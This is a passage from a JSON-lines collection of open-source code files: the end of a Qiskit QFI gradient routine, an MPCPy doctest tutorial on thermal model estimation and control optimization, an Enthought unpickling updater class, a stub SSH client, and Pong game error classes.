qfi_circuit = LinComb.apply_grad_gate(\n qfi_circuit,\n gate_j,\n idx_j,\n grad_gate_j,\n 1,\n qr_work,\n open_ctrl=False,\n trim_after_grad_gate=(location_j >= location_i),\n )\n\n qfi_circuit.h(qr_work)\n # Convert the quantum circuit into a CircuitStateFn and add the\n # coefficients i, j and the original operator coefficient\n coeff = operator.coeff\n coeff *= np.sqrt(np.abs(grad_coeff_i) * np.abs(grad_coeff_j))\n state = CircuitStateFn(qfi_circuit, coeff=coeff)\n\n param_grad = 1\n for gate, idx, param in zip(\n [gate_i, gate_j], [idx_i, idx_j], [param_i, param_j]\n ):\n param_expression = gate.params[idx]\n param_grad *= param_expression.gradient(param)\n meas = param_grad * qfi_observable\n\n term = meas @ state\n\n qfi_op.append(term)\n\n # Compute \u22124 * Re(\u3008\u2202k\u03c8|\u03c8\u3009\u3008\u03c8|\u2202l\u03c8\u3009)\n def phase_fix_combo_fn(x):\n return -4 * np.real(x[0] * np.conjugate(x[1]))\n\n if self._phase_fix:\n phase_fix_op = ListOp(\n [phase_fix_states[i], phase_fix_states[j]], combo_fn=phase_fix_combo_fn\n )\n # Add the phase fix quantities to the entries of the QFI\n # Get 4 * Re[\u3008\u2202k\u03c8|\u2202l\u03c8\u3009\u2212\u3008\u2202k\u03c8|\u03c8\u3009\u3008\u03c8|\u2202l\u03c8\u3009]\n qfi_ops += [SummedOp(qfi_op) + phase_fix_op]\n else:\n qfi_ops += [SummedOp(qfi_op)]\n\n qfi_operators.append(ListOp(qfi_ops))\n\n # Return estimate of the full QFI -- A QFI is by definition positive semi-definite.\n return ListOp(qfi_operators, combo_fn=triu_to_dense)\n", "source": "QAMP-Spring-2022-Transpiler-Hackathon/qiskit-terra", "license": "Apache-2.0"}
+{"text": "# -*- coding: utf-8 -*-\n\"\"\"\n\nThis tutorial will introduce the basic concepts and workflow of mpcpy.\nBy the end, we will train a simple model based on emulated data, and use \nthe model to optimize the control signal of the system. All required data\nfiles for this tutorial are located in doc/userGuide/tutorial.\n\nThe model is a simple RC model of zone thermal response to ambient temperature\nand a singal heat input. It is written in Modelica:\n\n.. code-block:: modelica\n\n model RC \"A simple RC network for example purposes\"\n Modelica.Blocks.Interfaces.RealInput weaTDryBul(unit=\"K\") \"Ambient temperature\";\n Modelica.Blocks.Interfaces.RealInput Qflow(unit=\"W\") \"Heat input\";\n Modelica.Blocks.Interfaces.RealOutput Tzone(unit=\"K\") \"Zone temperature\";\n Modelica.Thermal.HeatTransfer.Components.HeatCapacitor heatCapacitor(C=1e5) \n \"Thermal capacitance of zone\";\n Modelica.Thermal.HeatTransfer.Components.ThermalResistor thermalResistor(R=0.01) \n \"Thermal resistance of zone\";\n Modelica.Thermal.HeatTransfer.Sources.PrescribedTemperature preTemp;\n Modelica.Thermal.HeatTransfer.Sensors.TemperatureSensor senTemp;\n Modelica.Thermal.HeatTransfer.Sources.PrescribedHeatFlow preHeat;\n equation \n connect(senTemp.T, Tzone)\n connect(preHeat.Q_flow, Qflow)\n connect(heatCapacitor.port, senTemp.port)\n connect(heatCapacitor.port, preHeat.port)\n connect(preTemp.port, thermalResistor.port_a)\n connect(thermalResistor.port_b, heatCapacitor.port)\n connect(preTemp.T, weaTDryBul)\n end RC;\n\n\nVariables and Units\n-------------------\n\nFirst, lets get familiar with variables and units, the basic building blocks of MPCPy.\n\n>>> from mpcpy import variables\n>>> from mpcpy import units\n\nStatic variables contain data that is not a timeseries:\n\n>>> setpoint = variables.Static('setpoint', 20, units.degC)\n>>> print(setpoint) # doctest: +NORMALIZE_WHITESPACE\nName: setpoint\nVariability: Static\nQuantity: Temperature\nDisplay Unit: degC\n\nThe unit assigned to the variable is the display unit. \nHowever, each display unit quantity has a base unit that is used to store \nthe data in memory. This makes it easy to convert between units \nwhen necessary. For example, the degC display unit has a quantity temperature,\nwhich has base unit in Kelvin. \n\n>>> # Get the data in display units\n>>> setpoint.display_data()\n20.0\n>>> # Get the data in base units\n>>> setpoint.get_base_data()\n293.15\n>>> # Convert the display unit to degF\n>>> setpoint.set_display_unit(units.degF)\n>>> setpoint.display_data() # doctest: +NORMALIZE_WHITESPACE\n68.0\n\nTimeseries variables contain data in the form of a ``pandas`` Series with a \ndatetime index:\n\n>>> # Create pandas Series object\n>>> import pandas as pd\n>>> data = [0, 5, 10, 15, 20]\n>>> index = pd.date_range(start='1/1/2017', periods=len(data), freq='H')\n>>> ts = pd.Series(data=data, index=index, name='power_data')\n\nNow we can do the same thing with the timeseries variable as we did with the \nstatic variable:\n\n>>> # Create mpcpy variable\n>>> power_data = variables.Timeseries('power_data', ts, units.Btuh)\n>>> print(power_data) # doctest: +NORMALIZE_WHITESPACE\nName: power_data\nVariability: Timeseries\nQuantity: Power\nDisplay Unit: Btuh\n>>> # Get the data in display units\n>>> power_data.display_data()\n2017-01-01 00:00:00+00:00 0.0\n2017-01-01 01:00:00+00:00 5.0\n2017-01-01 02:00:00+00:00 10.0\n2017-01-01 03:00:00+00:00 15.0\n2017-01-01 04:00:00+00:00 20.0\nFreq: H, Name: power_data, dtype: float64\n>>> # Get the data in base units\n>>> power_data.get_base_data()\n2017-01-01 00:00:00+00:00 0.000000\n2017-01-01 01:00:00+00:00 1.465355\n2017-01-01 02:00:00+00:00 2.930711\n2017-01-01 03:00:00+00:00 4.396066\n2017-01-01 04:00:00+00:00 5.861421\nFreq: H, Name: power_data, dtype: float64\n>>> # Convert the display unit to kW\n>>> power_data.set_display_unit(units.kW)\n>>> power_data.display_data()\n2017-01-01 00:00:00+00:00 0.000000\n2017-01-01 01:00:00+00:00 0.001465\n2017-01-01 02:00:00+00:00 0.002931\n2017-01-01 03:00:00+00:00 0.004396\n2017-01-01 04:00:00+00:00 0.005861\nFreq: H, Name: power_data, dtype: float64\n\nThere is additional functionality with the units that may be useful, such as\nsetting new data and getting the units. Consult the documentation on these \nclasses for more information.\n\n\nCollect model weather and control signal data\n---------------------------------------------\n\nNow, we would like to collect the weather data and control signal inputs\nfor our model. We do this using exodata objects:\n\n>>> from mpcpy import exodata\n\nLet's take our weather data from an EPW file. We instantiate the weather \nexodata object by supplying the path to the EPW file:\n\n>>> weather = exodata.WeatherFromEPW('USA_IL_Chicago-OHare.Intl.AP.725300_TMY3.epw')\n\nNote that using the weather exodata object assumes that weather inputs to our\nmodel are named a certain way. Consult the documentation on the weather\nexodata class for more information. In this case, the ambient dry bulb\ntemperature input in our model is named weaTDryBul.\n\nLet's take our control input signal from a CSV file. The CSV file looks like:\n\n::\n\n Time,Qflow_csv\n 01/01/17 12:00 AM,3000\n 01/01/17 01:00 AM,3000\n 01/01/17 02:00 AM,3000\n ...\n 01/02/17 10:00 PM,3000\n 01/02/17 11:00 PM,3000\n 01/03/17 12:00 AM,3000\n \nWe instantiate the control exodata object by supplying the path to the CSV file\nas well as a map of the names of the columns to the input of our model. \nWe also assume that the data in the CSV file is given in the local time of the \nweather file, and so we supply this optional parameter, tz_name, upon \ninstantiation as well. If no time zone is supplied, it is assumed to be UTC.\n\n>>> variable_map = {'Qflow_csv' : ('Qflow', units.W)}\n>>> control = exodata.ControlFromCSV('ControlSignal.csv',\n... variable_map,\n... tz_name = weather.tz_name)\n\nNow we are ready to collect the exogenous data from our data sources for a\ngiven time period.\n\n>>> start_time = '1/1/2017'\n>>> final_time = '1/3/2017'\n>>> weather.collect_data(start_time, final_time) # doctest: +ELLIPSIS\n-etc-\n>>> control.collect_data(start_time, final_time)\n\nUse the ``display_data()`` and ``get_base_data()`` functions for the weather\nand control objects to get the data in the form of a pandas dataframe. Note\nthat the data is given in UTC time. \n\n>>> control.display_data() # doctest: +ELLIPSIS\n Qflow\nTime \n2017-01-01 06:00:00+00:00 3000.0\n2017-01-01 07:00:00+00:00 3000.0\n2017-01-01 08:00:00+00:00 3000.0\n-etc-\n\n\n\nSimulate as Emulated System\n---------------------------\n\nThe model has parameters for the resistance and capacitance set in the \nmodelica code. For the purposes of this tutorial, we will assume that the \nmodel with these parameter values represents the actual system. We now wish to\ncollect measurements from this 'actual system.' For this, we use the systems \nmodule of mpcpy.\n\n>>> from mpcpy import systems\n\nFirst, we instantiate our system model by supplying a measurement dictionary, \ninformation about where the model resides, and information about model exodata.\n\nThe measurement dictionary holds information about and data from the variables \nbeing measured. We start with defining the variables we are interested in\nmeasuring and their sample rate. In this case, we have two, the output of \nthe model, called 'Tzone' and the control input called 'Qflow'. \nNote that 'heatCapacitor.T' would also be valid instead of 'Tzone'. \n\n>>> measurements = {'Tzone' : {}, 'Qflow' : {}}\n>>> measurements['Tzone']['Sample'] = variables.Static('sample_rate_Tzone',\n... 3600,\n... units.s)\n>>> measurements['Qflow']['Sample'] = variables.Static('sample_rate_Qflow',\n... 3600,\n... units.s)\n\nThe model information is given by a tuple containing the path to the \nModelica (.mo) file, the path of the model within the .mo file, and a list of \npaths of any required libraries other than the Modelica Standard. \nFor this example, there are no additional libraries.\n\n>>> moinfo = ('Tutorial.mo', 'Tutorial.RC', {})\n\nUltimately, the modelica model is compiled into an FMU. If the emulation model\nis already an FMU, than an fmupath can be specified instead of the modelica \ninformation tuple. For more information, see the documentation on the systmems\nclass.\n\nWe can now instantiate the system emulation object with our measurement\ndictionary, model information, collected exogenous data, and time zone:\n\n>>> emulation = systems.EmulationFromFMU(measurements,\n... moinfo = moinfo,\n... weather_data = weather.data,\n... control_data = control.data,\n... tz_name = weather.tz_name)\n \nFinally, we can collect the measurements from our emulation over a specified\ntime period and display the results as a pandas dataframe. The \n``collect_measurements()`` function updates the measurement dictionary with \ntimeseries data in the ``'Measured'`` field for each variable.\n\n>>> # Collect the data\n>>> emulation.collect_measurements('1/1/2017', '1/2/2017') # doctest: +ELLIPSIS\n-etc-\n>>> # Display the results\n>>> emulation.display_measurements('Measured').applymap('{:.2f}'.format) # doctest: +ELLIPSIS\n Qflow Tzone\nTime \n2017-01-01 06:00:00+00:00 3000.00 293.15\n2017-01-01 07:00:00+00:00 3000.00 291.01\n2017-01-01 08:00:00+00:00 3000.00 291.32\n-etc-\n\nEstimate Parameters\n-------------------\n\nNow assume that we do not know the parameters of the model. Or, that we have\nmeasurements from a real or emulated system, and would like to estimate\nparameters of our model to fit the measurements. For this, we use the models\nmodule from mpcpy.\n\n>>> from mpcpy import models\n\nIn this case, we have a Modelica model with two parameters that we would like\nto train based on the measured data from our system; the resistance\nand capacitance.\n\nWe first need to collect some information about our parameters and do so using\na parameters exodata object. The parameter information is stored in a CSV file\nthat looks like:\n\n::\n\n Name,Free,Value,Minimum,Maximum,Covariance,Unit\n heatCapacitor.C,True,40000,1.00E+04,1.00E+06,1000,J/K\n thermalResistor.R,True,0.002,0.001,0.1,0.0001,K/W\n\nThe name is the name of the parameter in the model. The Free field indicates\nif the parameter is free to be changed during the estimation method or not.\nThe Value is the current value of the parameter. If the parameter is to be\nestimated, this would be an initial guess. If the parameter's Free field is\nset to False, then the value is set to the parameter upon simulation. The\nMinimum and Maximum fields set the minimum and maximum value allowed by the \nparameter during estimation. The Covariance field sets the covariance of\nthe parameter, and is only used for unscented kalman filtering. Finally, the \nUnit field specifies the unit of the parameter using the name string of \nMPCPy unit classes.\n\n>>> parameters = exodata.ParameterFromCSV('Parameters.csv')\n>>> parameters.collect_data()\n>>> parameters.display_data() # doctest: +NORMALIZE_WHITESPACE\n Covariance Free Maximum Minimum Unit Value\nName \nheatCapacitor.C 1000 True 1e+06 10000 J/K 40000\nthermalResistor.R 0.0001 True 0.1 0.001 K/W 0.002\n\nNow, we can instantiate the model object by defining the estimation method, \nvalidation method, measurement dictionary, model information, parameter data, \nand exogenous data. In this case, we use JModelica optimization to perform \nthe parameter estimation and will validate the parameter estimation by \ncalculating the root mean square error (RMSE) between measurements from the \nmodel and emulation.\n\n>>> model = models.Modelica(models.JModelicaParameter,\n... models.RMSE,\n... emulation.measurements,\n... moinfo = moinfo,\n... parameter_data = parameters.data,\n... weather_data = weather.data,\n... control_data = control.data,\n... tz_name = weather.tz_name)\n\nLet's simulate the model to see how far off we are with our initial parameter\nguesses. The ``simulate()`` function updates the measurement dictionary with \ntimeseries data in the ``'Simulated'`` field for each variable.\n\n>>> # Simulate the model\n>>> model.simulate('1/1/2017', '1/2/2017') # doctest: +ELLIPSIS\n-etc-\n>>> # Display the results\n>>> model.display_measurements('Simulated').applymap('{:.2f}'.format) # doctest: +ELLIPSIS\n Qflow Tzone\nTime \n2017-01-01 06:00:00+00:00 3000.00 293.15\n2017-01-01 07:00:00+00:00 3000.00 266.95\n2017-01-01 08:00:00+00:00 3000.00 267.44\n-etc-\n\n\nNow, we are ready to estimate the parameters to better fit the emulated\nmeasurements. In addtion to a training period, we must supply a list of \nmeasurement variables for which to minimize the error between the simulated \nand measured data. In this case, we only have one, ``'Tzone'``. The\n``estimate()`` function updates the Value field for the parameter data in \nthe model. \n\n>>> model.parameter_estimate('1/1/2017', '1/2/2017', ['Tzone']) # doctest: +ELLIPSIS\n-etc-\n\nLet's validate the estimation on the training period. The ``validate()``\nmethod will simulate the model over the specified time period, calculate the\nRMSE between the simulated and measured data, and generate a plot in the \nworking directory that shows the simulated and measured data for each \nmeasurement variable.\n\n>>> # Perform validation\n>>> model.validate('1/1/2017', '1/2/2017', 'validate_tra', plot=1) # doctest: +ELLIPSIS\n-etc-\n>>> # Get RMSE\n>>> print(\"%.3f\" % model.RMSE['Tzone'].display_data()) # doctest: +NORMALIZE_WHITESPACE\n0.041\n\nNow let's validate on a different period of exogenous data:\n\n>>> # Define validation period\n>>> start_time_val = '1/2/2017'\n>>> final_time_val = '1/3/2017'\n>>> # Collect new measurements\n>>> emulation.collect_measurements(start_time_val, final_time_val) # doctest: +ELLIPSIS\n-etc-\n>>> # Assign new measurements to model\n>>> model.measurements = emulation.measurements\n>>> # Perform validation\n>>> model.validate(start_time_val, final_time_val, 'validate_val', plot=1) # doctest: +ELLIPSIS\n-etc-\n>>> # Get RMSE\n>>> print(\"%.3f\" % model.RMSE['Tzone'].display_data()) # doctest: +NORMALIZE_WHITESPACE\n0.047\n\nFinally, let's view the estimated parameter values:\n\n>>> for key in model.parameter_data.keys():\n... print(key, \"%.2f\" % model.parameter_data[key]['Value'].display_data())\n('heatCapacitor.C', '119828.30')\n('thermalResistor.R', '0.01')\n\n\nOptimize Control\n----------------\n\nWe are now ready to optimize control of our system heater using our calibrated \nMPC model. Specificlaly, we would like to maintain a comfortable temperature\nin our zone with the minimum amount of heater energy. We can do this by using \nthe optimization module of MPCPy.\n\n>>> from mpcpy import optimization\n\nFirst, we need to collect some constraint data to add to our optimization\nproblem. In this case, we will constrain the heating input to between \n0 and 4000 W, and the temperature to a comfortable range, between \n20 and 25 degC. We collect contraint data from a CSV using a constraint \nexodata data object. The constraint CSV looks like:\n\n::\n\n Time,Qflow_min,Qflow_max,T_min,T_max\n 01/01/17 12:00 AM,0,4000,20,25\n 01/01/17 01:00 AM,0,4000,20,25\n 01/01/17 02:00 AM,0,4000,20,25\n ...\n 01/02/17 10:00 PM,0,4000,20,25\n 01/02/17 11:00 PM,0,4000,20,25\n 01/03/17 12:00 AM,0,4000,20,25\n \nThe constraint exodata object is used to determine which column of data matches\nwith which model variable and whether it is a less-than-or-equal-to (LTE) or \ngreater-than-or-equal-to (GTE) constraint:\n\n>>> # Define variable map\n>>> variable_map = {'Qflow_min' : ('Qflow', 'GTE', units.W), \n... 'Qflow_max' : ('Qflow', 'LTE', units.W),\n... 'T_min' : ('Tzone', 'GTE', units.degC),\n... 'T_max' : ('Tzone', 'LTE', units.degC)}\n>>> # Instantiate constraint exodata object\n>>> constraints = exodata.ConstraintFromCSV('Constraints.csv',\n... variable_map,\n... tz_name = weather.tz_name)\n>>> # Collect data\n>>> constraints.collect_data('1/1/2017', '1/3/2017')\n>>> # Get data\n>>> constraints.display_data() # doctest: +ELLIPSIS\n \t Qflow_GTE Qflow_LTE Tzone_GTE Tzone_LTE\nTime \n2017-01-01 06:00:00+00:00 0.0 4000.0 20.0 25.0\n2017-01-01 07:00:00+00:00 0.0 4000.0 20.0 25.0\n2017-01-01 08:00:00+00:00 0.0 4000.0 20.0 25.0\n-etc-\n\nWe can now instantiate an optimization object using our calibrated MPC model, \nselecting an optimization problem type and solver package, and specifying\nwhich of the variables in the model to treat as the objective variable.\nIn this case, we choose an energy minimization problem (integral of variable \nover time horizon) to be solved using JModelica, and Qflow to be the variable \nwe wish to minimize the integral of over the time horizon.\n\n>>> opt_problem = optimization.Optimization(model, \n... optimization.EnergyMin,\n... optimization.JModelica,\n... 'Qflow',\n... constraint_data = constraints.data)\n\nThe information provided is used to automatically generate a .mop (optimization\nmodel file for JModelica) and transfer the optimization problem using JModelica.\nUsing the ``optimize()`` function optimizes the variables defined in the control\ndata of the model object and updates their timeseries data with the optimal \nsolution for the time period specified. Note that other than the constraints, \nthe exogenous data within the model object is used, and the control interval\nis assumed to be the same as the measurement sampling rate of the model. Use\nthe ``get_optimization_options()`` and ``set_optimization_options()`` to see\nand change the options for the optimization solver; for instance number\nof control points, maximum iteration number, tolerance, or maximum CPU time.\nSee the documentation for these functions for more information.\n\n>>> opt_problem.optimize('1/2/2017', '1/3/2017') # doctest: +ELLIPSIS\n-etc-\n\nWe can get the optimization solver statistics in the form of\n(return message, # of iterations, objective value, solution time in seconds):\n\n>>> opt_problem.get_optimization_statistics() # doctest: +ELLIPSIS\n('Solve_Succeeded', 12, -etc-)\n\nWe can retrieve the optimal control solution and verify that the \nconstraints were satisfied. The intermediate points are a result of the \ndirect collocation method used by JModelica.\n\n>>> opt_problem.display_measurements('Simulated').applymap('{:.2f}'.format) # doctest: +ELLIPSIS\n Qflow Tzone\nTime \n2017-01-02 06:00:00+00:00 669.93 298.15\n2017-01-02 06:09:18.183693+00:00 1512.95 293.15\n2017-01-02 06:38:41.816307+00:00 2599.01 293.15\n2017-01-02 07:00:00+00:00 1888.28 293.15\n-etc-\n\nFinally, we can simulate the model using the optimized control trajectory.\nNote that the ``model.control_data`` dictionary is updated by the \n``opt_problem.optimize()`` function.\n\n>>> model.control_data['Qflow'].display_data().loc[pd.to_datetime('1/2/2017 06:00:00'):pd.to_datetime('1/3/2017 06:00:00')].map('{:.2f}'.format) # doctest: +ELLIPSIS\n2017-01-02 06:00:00+00:00 669.93\n2017-01-02 06:09:18.183693+00:00 1512.95\n2017-01-02 06:38:41.816307+00:00 2599.01\n2017-01-02 07:00:00+00:00 1888.28\n-etc-\n>>> model.simulate('1/2/2017', '1/3/2017') # doctest: +ELLIPSIS\n-etc-\n>>> model.display_measurements('Simulated').applymap('{:.2f}'.format) # doctest: +ELLIPSIS\n Qflow Tzone\nTime \n2017-01-02 06:00:00+00:00 669.93 293.15\n2017-01-02 07:00:00+00:00 1888.28 291.41\n2017-01-02 08:00:00+00:00 2277.67 293.03\n-etc-\n\nNote there is some mismatch between the simulated model output temperature \nand the raw optimal control solution model output temperature output. \nThis is due to the interpolation of control input results during simulation \nnot aligning with the collocation polynomials and timestep determined by the\noptimization solver. We can solve the optimization problem again, this \ntime updating the ``model.control_data`` with a greater time resolution of 1 \nsecond. Some mismatch will still occur due to the optimization solution\nusing collocation being an approximation of the true dynamic model.\n\n>>> opt_problem.optimize('1/2/2017', '1/3/2017', res_control_step=1.0) # doctest: +ELLIPSIS\n-etc-\n>>> model.control_data['Qflow'].display_data().loc[pd.to_datetime('1/2/2017 06:00:00'):pd.to_datetime('1/3/2017 06:00:00')].map('{:.2f}'.format) # doctest: +ELLIPSIS\n2017-01-02 06:00:00+00:00 669.93\n2017-01-02 06:00:01+00:00 671.66\n2017-01-02 06:00:02+00:00 673.38\n-etc-\n>>> model.simulate('1/2/2017', '1/3/2017') # doctest: +ELLIPSIS\n-etc-\n>>> model.display_measurements('Simulated').applymap('{:.2f}'.format) # doctest: +ELLIPSIS\n Qflow Tzone\nTime \n2017-01-02 06:00:00+00:00 669.93 293.15\n2017-01-02 07:00:00+00:00 1888.28 292.67\n2017-01-02 08:00:00+00:00 2277.67 293.13\n-etc-\n\n\"\"\"\n\nif __name__ == \"__main__\":\n import doctest\n doctest.ELLIPSIS_MARKER = '-etc-'\n (n_fails, n_tests) = doctest.testmod()\n if n_fails:\n print('\\nTutorial finished with {0} fails.'.format(n_fails));\n else:\n print('\\nTutorial finished OK.')\n", "source": "lbl-srg/MPCPy", "license": "BSD-3-Clause-LBNL"}
+{"text": "#-----------------------------------------------------------------------------\n#\n# Copyright (c) 2005, 2006 by Enthought, Inc.\n# All rights reserved.\n#\n# Author: Dave Peterson \n# Author: Duncan Child \n#\n#-----------------------------------------------------------------------------\n\n\"\"\" A record of refactorings to be performed during unpickling of objects.\n\"\"\"\n\n# Standard library imports\nimport logging\n\n# Enthought library imports\nfrom traits.api import Dict, HasPrivateTraits, Int, List, Tuple, Str\n\n\nlogger = logging.getLogger(__name__)\n\n\n##############################################################################\n# class 'Updater'\n##############################################################################\n\nclass Updater(HasPrivateTraits):\n \"\"\" A record of refactorings to be performed during unpickling of objects.\n \"\"\"\n\n ##########################################################################\n # Traits\n ##########################################################################\n\n ### public 'Updater' interface ###########################################\n\n # Mappings from a pickled class to a class it should be unpickled as.\n #\n # The keys are a tuple of the source class's module and class names in\n # that order. The values are the target class's module and class names\n # in that order.\n class_map = Dict(Tuple(Str, Str), Tuple(Str, Str))\n\n # State functions that should be called to convert state from one version\n # of a class to another.\n #\n # The keys are a tuple of the class's module name, class name, and version\n # in that order. The values are a list of functions to be called during\n # unpickling to do the state conversion. Note that the version in the\n # key represents the version that the function converts *TO*.\n state_functions = Dict(Tuple(Str, Str, Int), List)\n\n # Our record of the attribute that records the version number for a\n # specific class. If no record is found for a given class, then the\n # default value is used instead -- see '_default_version_attribute'.\n #\n # The key is a tuple of the class's module name and class name in that\n # order. The value is the name of the version attribute.\n version_attribute_map = Dict(Tuple(Str, Str), Str)\n\n\n ### protected 'Updater' interface ########################################\n\n # The default name of the attribute that declares the version of a class\n # or class instance.\n _default_version_attribute = '_enthought_pickle_version'\n\n # A record of which classes we have state functions for.\n #\n # The keys are a tuple of the class's module name and class name in that\n # order. The values are reference counts.\n _state_function_classes = Dict(Tuple(Str, Str), Int)\n\n\n ##########################################################################\n # 'Updater' interface\n ##########################################################################\n\n ### public interface #####################################################\n\n def add_mapping(self, source_module, source_name, target_module,\n target_name):\n \"\"\" Adds a mapping from the class with the source name in the source\n module to the class with the target name in the target module.\n \"\"\"\n self.class_map[(source_module, source_name)] = (target_module,\n target_name)\n\n\n def add_mapping_to_class(self, source_module, source_name, target_class):\n \"\"\" Convenience method to add a mapping, from the class with the\n source name in the source module to the target class.\n \"\"\"\n self.add_mapping(source_module, source_name, target_class.__module__,\n target_class.__name__)\n\n\n def add_mappings(self, source_module, target_module, class_names):\n \"\"\" Adds mappings, from the specified source module to the specified\n target module, for each of the class names in the specified\n list.\n \"\"\"\n for name in class_names:\n self.add_mapping(source_module, name, target_module, name)\n\n\n def add_state_function(self, module, name, target_version, function):\n \"\"\" Adds the specified function as a state function to be called to\n convert an instance of the class with the specified name within\n the specified module *TO* the specified version.\n\n Note that the framework handles calling of state functions to make\n the smallest version jumps possible.\n \"\"\"\n key = (module, name, target_version)\n list = self.state_functions.setdefault(key, [])\n list = list[:] # Copy necessary because traits only recognizes list\n # changes by list instance - not its contents.\n list.append(function)\n self.state_functions[key] = list\n\n\n def add_state_function_for_class(self, klass, target_version, function):\n \"\"\" Convenience method to add the specified function as a state\n function to be called to convert an instance of the specified\n class *TO* the specified version.\n \"\"\"\n self.add_state_function(klass.__module__, klass.__name__,\n target_version, function)\n\n\n def declare_version_attribute(self, module, name, attribute_name):\n \"\"\" Adds the specified attribute name as the version attribute for the\n class within the specified module with the specified name.\n \"\"\"\n self.version_attribute_map[(module, name)] = attribute_name\n\n\n def declare_version_attribute_for_class(self, klass, attribute_name):\n \"\"\" Covenience method to add the specified attribute name as the\n version attribute for the specified class.\n \"\"\"\n self.declare_version_attribute(klass.__module__, klass.__name__,\n attribute_name)\n\n\n def get_version_attribute(self, module, name):\n \"\"\" Returns the name of the version attribute for the class of the\n specified name within the specified module.\n \"\"\"\n return self.version_attribute_map.get( (module, name),\n self._default_version_attribute)\n\n\n def has_class_mapping(self, module, name):\n \"\"\" Returns True if this updater contains a class mapping for\n the class identified by the specified module and class name.\n \"\"\"\n return (module, name) in self.class_map\n\n\n def has_state_function(self, module, name):\n \"\"\" Returns True if this updater contains any state functions for\n the class identified by the specified module and class name.\n \"\"\"\n return (module, name) in self._state_function_classes\n\n\n def merge_updater(self, updater):\n \"\"\" Merges the mappings and state functions from the specified updater\n into this updater.\n \"\"\"\n self.class_map.update(updater.class_map)\n self.version_attribute_map.update(updater.version_attribute_map)\n\n # The state functions dictionary requires special processing because\n # each value is a list and we don't just want to replace the existing\n # list with only the new content.\n for key, value in updater.state_functions.items():\n if isinstance(value, list) and len(value) > 0:\n funcs = self.state_functions.setdefault(key, [])\n funcs = funcs[:] # Copy necessary because traits only recognizes\n # funcs changes by funcs instance - not its\n # contents.\n funcs.extend(value)\n self.state_functions[key] = funcs\n\n\n ### trait handlers #######################################################\n\n def _class_map_changed(self, old, new):\n logger.debug('Detected class_map change from [%s] to [%s] in [%s]',\n old, new, self)\n\n\n def _class_map_items_changed(self, event):\n for o in event.removed:\n logger.debug('Detected [%s] removed from class_map in [%s]', o,\n self)\n for k, v in event.changed.items():\n logger.debug('Detected [%s] changed from [%s] to [%s] in ' + \\\n 'class_map in [%s]', k, v, self.class_map[k], self)\n for k, v in event.added.items():\n logger.debug('Detected mapping from [%s] to [%s] added to ' + \\\n 'class_map in [%s]', k, v, self)\n\n\n def _state_functions_changed(self, old, new):\n logger.debug('Detected state_functions changed from [%s] to [%s] ' + \\\n 'in [%s]', old, new, self)\n\n # Update our record of which classes we have state functions for.\n # All of our old state functions are gone so we simply need to rescan\n # the new functions.\n self._state_function_classes.clear()\n for key, value in new.items():\n module, name, version = key\n klass_key = (module, name)\n count = self._state_function_classes.setdefault(klass_key, 0)\n self._state_function_classes[klass_key] = count + len(value)\n\n\n def _state_functions_items_changed(self, event):\n # Decrement our reference counts for the classes we no longer\n # have state functions for. If the reference count reaches zero,\n # remove the record completely.\n for k, v in event.removed.items():\n logger.debug('Detected [%s] removed from state_functions in [%s]',\n k, self)\n\n # Determine the new reference count of state functions for the\n # class who the removed item was for.\n module, name, version = k\n key = (module, name)\n count = self._state_function_classes[key] - len(v)\n\n # Store the new reference count. Delete the entry if it is zero.\n if count < 0:\n logger.warn('Unexpectedly reached negative reference count ' +\n 'value of [%s] for [%s]', count, key)\n del self._state_function_classes[key]\n elif count == 0:\n del self._state_function_classes[key]\n else:\n self._state_function_classes[key] = count\n\n # Update our reference counts for changes to the list of functions\n # for a specific class and version. The 'changed' dictionary's values\n # are the old values.\n for k, v in event.changed.items():\n value = self.state_functions[k]\n logger.debug('Detected [%s] changed in state_functions from ' + \\\n '[%s] to [%s] in [%s]', k, v, value, self)\n\n # Determine the new reference count as a result of the change.\n module, name, version = k\n key = (module, name)\n count = self._state_function_classes[key] - len(v) + len(value)\n\n # Store the new reference count. Delete the entry if it is zero.\n if count < 0:\n logger.warn('Unexpectedly reached negative reference count ' +\n 'value of [%s] for [%s]', count, key)\n del self._state_function_classes[key]\n elif count == 0:\n del self._state_function_classes[key]\n else:\n self._state_function_classes[key] = count\n\n\n # Update our reference counts for newly registered state functions.\n for k, v in event.added.items():\n logger.debug('Detected mapping of [%s] to [%s] added to ' + \\\n 'state_functions in [%s]', k, v, self)\n\n # Determine the new reference count as a result of the change.\n module, name, version = k\n key = (module, name)\n count = self._state_function_classes.setdefault(key, 0) + len(v)\n\n # Store the new reference count\n self._state_function_classes[key] = count\n\n\n def _version_attribute_map_changed(self, old, new):\n logger.debug('Detected version_attribute_map change from [%s] ' + \\\n 'to [%s] in [%s]', old, new, self)\n\n\n def _version_attribute_map_items_changed(self, event):\n for o in event.removed:\n logger.debug('Detected [%s] removed from version_attribute_map ' + \\\n 'in [%s]', o, self)\n for o in event.changed:\n logger.debug('Detected [%s] changed in version_attribute_map ' + \\\n 'in [%s]', o, self)\n for o in event.added:\n logger.debug('Detected [%s] added to version_attribute_map in ' + \\\n '[%s]', o, self)\n\n\n### EOF ######################################################################\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"}
+{"text": "import logging\nimport paramiko\nfrom gevent import monkey\nmonkey.patch_all()\n\n\nclass SSHClient:\n\n def __init__(self):\n client = paramiko.SSHClient()\n self.client = client\n self.host = None\n self.port = None", "source": "deadwind4/fast-pssh", "license": "MIT"}
+{"text": "class PongError(Exception):\n pass\n\n\nclass RoomError(PongError):\n def __init__(self, room, msg, **kwargs):\n err_msg = '{} room info : {}'.format(msg, room)\n super().__init__(err_msg, **kwargs)\n\n\nclass PlayerError(PongError):\n def __init__(self, player, msg, **kwargs):\n err_msg = '{} player info : {}'.format(msg, player)\n super().__init__(err_msg, **kwargs)\n\n\nclass LobbyError(PongError):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n\nclass ProtocolError(PongError):\n def __init__(self, payload, msg, **kwargs):\n err_msg = '{} message: {}'.format(msg, payload)\n super().__init__(err_msg, **kwargs)\n\n\nclass UnexpectedProtocolError(ProtocolError):\n def __init__(self, payload, expected, **kwargs):\n err_msg = 'Unexpected payload type {}'.format(expected)\n super().__init__(payload, err_msg, **kwargs)", "source": "iFunFactory/pong-webscoket", "license": "MIT"}
